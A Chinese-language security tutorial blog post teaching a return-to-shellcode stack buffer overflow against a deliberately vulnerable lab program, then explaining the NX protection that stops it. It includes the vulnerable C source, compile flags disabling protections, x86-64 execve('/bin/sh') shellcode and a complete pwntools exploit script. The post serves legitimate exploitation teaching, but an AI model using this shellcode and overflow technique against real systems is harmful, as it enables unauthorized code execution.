iT邦幫忙

2024 iThome 鐵人賽

DAY 7
0
Security

Pwn2Noooo! 執行即 Crash 的 PWNer 養成遊戲系列 第 7

[Day7] Stack 攻擊手法 - ret2sc & 保護機制 - NX

  • 分享至 

  • xImage
  •  

在上一篇文章中,我們學會了如何利用 Stack Buffer Overflow 在未啟用 Canary 和 PIE 保護機制的情況下,透過執行後門函數獲取程式的控制權。然而,在現實中,絕大多數的程式並不會有現成的後門函數可供我們利用,怎麼辦呢?那我們就自己寫一個吧!

本篇將介紹另一種 Stack 攻擊手法:Return to Shellcode(ret2sc),本篇文章架構如下:

  • Shellcode
  • Return to Shellcode(ret2sc)
    • 程式碼分析
    • 程式碼分析 - 以組合語言
  • Exploit
  • Stack 保護機制 - NX

本篇的範例程式 sc.c 如下:

#include "stdio.h"

int main() {
    char buf[64];

    printf("Buffer address: %p\n", buf);
    printf("Please Input:\n");

    scanf("%s", buf);

    return 0;
}

請讀者使用以下命令編譯程式碼。
gcc -fno-stack-protector -no-pie -zexecstack -o sc sc.c
此編譯方式會將 Canary、 PIE 以及文章後續會介紹的某個保護機制關閉。

Shellcode

所謂的 Shellcode 是一段有目的性的機器碼,常見用途是開啟一個 Shell,讓攻擊者能進一步控制目標系統。

由於 Shellcode 通常都是被存放在長度有限的記憶體中搭配其他漏洞讓程式執行此段 Shellcdoe,因此通常會直接調用系統呼叫,例如典型的 Shellcode 為 execve("/bin/sh", NULL, NULL) 的機器碼,直接調用 execve() 這個系統呼叫來執行 /bin/sh

除了開啟 Shell 以外,Shellcode 也可以執行許多不同功能,我們可以在 exploit-db 上看到許多不同功能的 Shellcode,例如刪除檔案、以最高權限執行 Shell 等等。

補充:Shellcode 為什麼不呼叫 system()
上一篇文章是透過跳轉到程式中的 system("/bin/sh"),然而 system() 是 C 標準庫中的函數,雖然它可以執行 Shell,但需要依賴 libc 函數庫,並且 system() 本質上是對 execve() 的一層封裝。由於 Shellcode 追求極簡和高效,因此會使用系統呼叫的 execve() 而不會看到使用需要依賴外部函式庫的 system()

Return to Shellcode(ret2sc)

這類攻擊的核心概念就是透過控制 Return Address,將其指向我們注入的 Shellcode 位址,使程式跳轉並執行這段 Shellcode。

Shellcode 可以注入在 Stack、Heap、BSS Segment、Data Segment 這幾個可以儲存資料的區段,會依據不同程式碼靈活搭配使用。

接下來我們來分析範例程式,並對他執行 ret2sc 攻擊。

程式碼分析

透過 Source Code,可以注意到有一個很大空間的字元陣列 buf,接著程式會將此 Buffer 的位址輸出,並且使用 scanf() 讓我們對變數 buf 輸入一個字串。
然而,可以發現此程式並沒有對 %s 限制長度,因此我們能一直輸入直到遇到空格、換行或是 EOF,代表此程式有 Stack Buffer Overflow 漏洞。除此之外此程式還有 Leak Address 的問題,因此也能知道此 Buffer 的位址,也就是我們能知道我們注入的 Shellcode 在哪裡。

註 1:在上一篇文章中提到,Stack 的起始位址可以透過 ASLR 隨機化。由於我們並未關閉此保護機制(註 2),因此預設情況下,Stack 的地址是隨機的。這表示,我們在實際攻擊中無法預測 Shellcode 在 Stack 中的具體位置,通常需要配合其他漏洞來取得 Shellcode 的位址。此範例是為了練習而刻意設計,將 Stack 位址輸出給使用者,方便操作與理解。

註 2:不以關閉 ASLR 來進行練習的原因是,ASLR 是作業系統層級的保護機制,無法直接透過程式判斷目標系統是否開啟 ASLR。現代作業系統大多預設開啟 ASLR 的高級別保護(Level 2),這表示 Stack、Heap 以及共享函式庫的起始位址都會隨機化。因此,在進行實際 Pwn 攻擊時,必須假設 ASLR 是啟用的,並設法應對這種防禦機制。

程式碼分析 - 以組合語言

由於不是所有程式都能看到 Source Code,因此我們也練習透過組合語言分析看看。因為 IDA 的反組譯結果帶有詳細資訊,圖片以 IDA 為例,讀者仍可使用 objdump 或其他工具的反組譯結果搭配閱讀。
可以看到整隻程式的架構如下:
image
排除掉 Function Prologue 和 Function Epilogue,我們從真正的內容開始分析。

  1. printf()
    image
    首先我們會注意到,程式將 rbp+var_40 放到儲存第二的變數的 rsi 暫存器。那 var_40 是什麼呢?這是 IDA 自動生成的變數名,代表某個函數中的區域變數。可以看到在 main 區塊的最上方它告訴我們 var_40 = byte ptr -40h
    image
    h 代表 Hex,即 0x40,整個意思代表 var_40 是一個指向往下偏移 0x40 個 Bytes 的位址的指標。回到程式就是代表這個變數存在 rbp-0x40 這個位址,即我們的 char buf[64];
    接下來可以看到 "Buffer address: %p\n" 被放入儲存第一個參數的 rdi。並且最後將儲存回傳值的 eax 歸零,然後呼叫 printf()
    因此我們可以得知這段組合語言的 Source Code 應該是 printf("Buffer address: %p\n", buf);,會將 buf 的位址輸出到螢幕上。
  2. printf()
    image
    接下來可以看到程式將 "Please Input:" 做為第一個參數進入 puts(),因此可以推測 Source Code 為 puts("Please Input:") 或是 printf("Please Input:\n");
  3. scanf()
    image
    可以看到程式將 buf 做為第二個參數、"%s" 做為第一個參數傳入 scanf(),即 scanf("%s", buf);。我們可以透過第一個參數為 "%s" 發現此 scanf() 調用沒有限制輸入長度,因此可以得知有 Stack Buffer Overflow 漏洞。

Exploit

透過上述分析有 Stack Buffer Overflow,因此整體的攻擊思路為:透過 scanf()buf 變數中輸入 Shellcode,並將整個 Stack 填滿直到達到 Return Address,再將 Return Address 改成 buf 的位址,buf 的位址由程式輸出得知。
Stack 佈局如下:
image

接下來我們就能開始寫攻擊腳本了。

  1. 初始配置

    from pwn import *
    
    context.binary = './sc'
    p = process('./sc')
    

    首先,我們需要匯入 Pwntools,設定程式運行的二進位檔案架構,並啟動目標程式。

  2. 接收 buf Address

    p.recvuntil('Buffer address: ')
    buffer_address = int(p.recvline().strip(), 16)
    

    程式在運行時會輸出 buf 的位址,我們需要接收這個位址。
    Pwntools 的 recvline() 函數可接收從程式輸出的資料,但它接收到的是一個字串,比如 "0x7fffffffe410"。由於位址是一個十六進位的數字,因此我們需要將此字串轉換為整數,可以透過 int() 函數並指定基數為 16 即 int(..., 16),如此一來我們才能正確地將該位址用作 Payload 的一部分,並覆蓋 Return Address。

  3. Shellcode
    接下來接下來我們需要準備可以啟動 /bin/sh 的 Shellcode,我們可以直接使用別人寫好的,將整段複製過來:

    shellcode = b'\x50\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
    

    也可以自己寫

    shellcode = asm('''
        xor rax, rax
        mov rax, 0x68732f6e69622f 
        push rax
        mov rdi, rsp
        xor rsi, rsi
        xor rdx, rdx
        mov rax, 0x3b
        syscall
    ''')
    

    Pwntools 的 asm() 函數可以將組合語言指令轉換為相應的機器碼(即 Shellcode),它會自動根據初始配置設置於 Context 的架構進行上述組合語言的編譯
    接下來我們說明組合語言的意思:

    xor rax, rax
    mov rax, 0x68732f6e69622f    "\bin\sh"
    push rax
    

    首先先將 "\bin\sh" 這個字串 Push 進 Stack。

    mov rdi, rsp
    

    接著把指向 Stack 頂部的 RSP 的值複製給儲存第一個參數的 RDI,此時 RDI 獲得一個指向 "\bin\sh" 這個字串的位址。

    xor rsi, rsi
    xor rdx, rdx
    

    接下來則是把第二、三個參數歸零。

    mov rax, 0x3b
    syscall
    

    最後則是調用 syscall。當要調用 syscall 時,需要告訴作業系統要調用哪一個 syscall,每一個 syscall 都有自己的編號,x86-64 的呼叫慣例規定調用 syscall 的編號會存在 RAX 暫存器中,因此我們將代表 execve()0x3b(59)放入 RAX。這時 execve() 會依據呼叫慣例依序從 RDIRSIRDX 獲得參數,整段組合語言代表 execve("/bin/sh", NULL, NULL)

  4. 發送 Payload

    padding = 0x40 + 0x8 - len(shellcode)
    payload = flat(shellcode, 'A' * padding, buffer_address)
    p.sendlineafter('Input:', payload)
    

    從上述的程式碼分析可以看出 buf 的位置是從 rbp-0x40 開始,而到達 Return Address 之前還會經過 0x8 的 Saved RBP 空間,因此從開始輸入到 Return Address 中間經過了 0x40 + 0x8,其中最前面是我們放 Shellcode 的位置,Shellcode 可能不足以填滿 0x48,因此我們還需要補足 Padding。所以整段 Payload 為 flat(shellcode, 'A' * padding, buffer_address)
    我們透過 sendlineafter(),再接收到 "Input:" 之後發送 Payload。

  5. 取得互動控制

    p.interactive()
    

    最後透過此函數拿回程式控制權。

整段 Exploit 如下:

from pwn import *

context.binary = './sc'

p = process('./sc')

p.recvuntil('Buffer address: ')
buffer_address = int(p.recvline().strip(), 16)

shellcode = asm('''
    xor rax, rax
    mov rax, 0x68732f6e69622f
    push rax
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 0x3b
    syscall
''')

padding = 0x40 + 0x8 - len(shellcode)
payload = flat(shellcode, 'A' * padding, buffer_address)
p.sendlineafter('Input:', payload)

p.interactive()

執行之後可以看到我們成功 Pwn 了它:
image

Stack 保護機制 - NX

有了攻擊就會有相應的保護機制,既然我們是執行存在變數裡的 Shellcode 造成攻擊,那我們就讓存在變數裡的內容都不可執行是不是就可以了?沒錯,這就是名為 NX(No-eXecute)的保護機制。

此保護機制會將可以儲存資料的部分:Stack、Heap、BSS 以及 DATA Segment 的區塊標記為不可執行的區塊,只有 Text Segment 標記為可執行,借此來杜絕這類 Shellcode 形式的攻擊。關閉此保護機制的方式是在 gcc 編譯時加入 -zexecstack 這個參數。

那麼如果開啟了這個保護機制又沒有後門函數就沒轍了嗎?
下一篇文章將會說明如何繞過(Bypass)此保護機制。


上一篇
[Day6] Stack 攻擊手法 - ret2text & 保護機制 - Canary/PIE
下一篇
[Day8] Stack 攻擊手法 - ROP:靜態連結
系列文
Pwn2Noooo! 執行即 Crash 的 PWNer 養成遊戲13
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言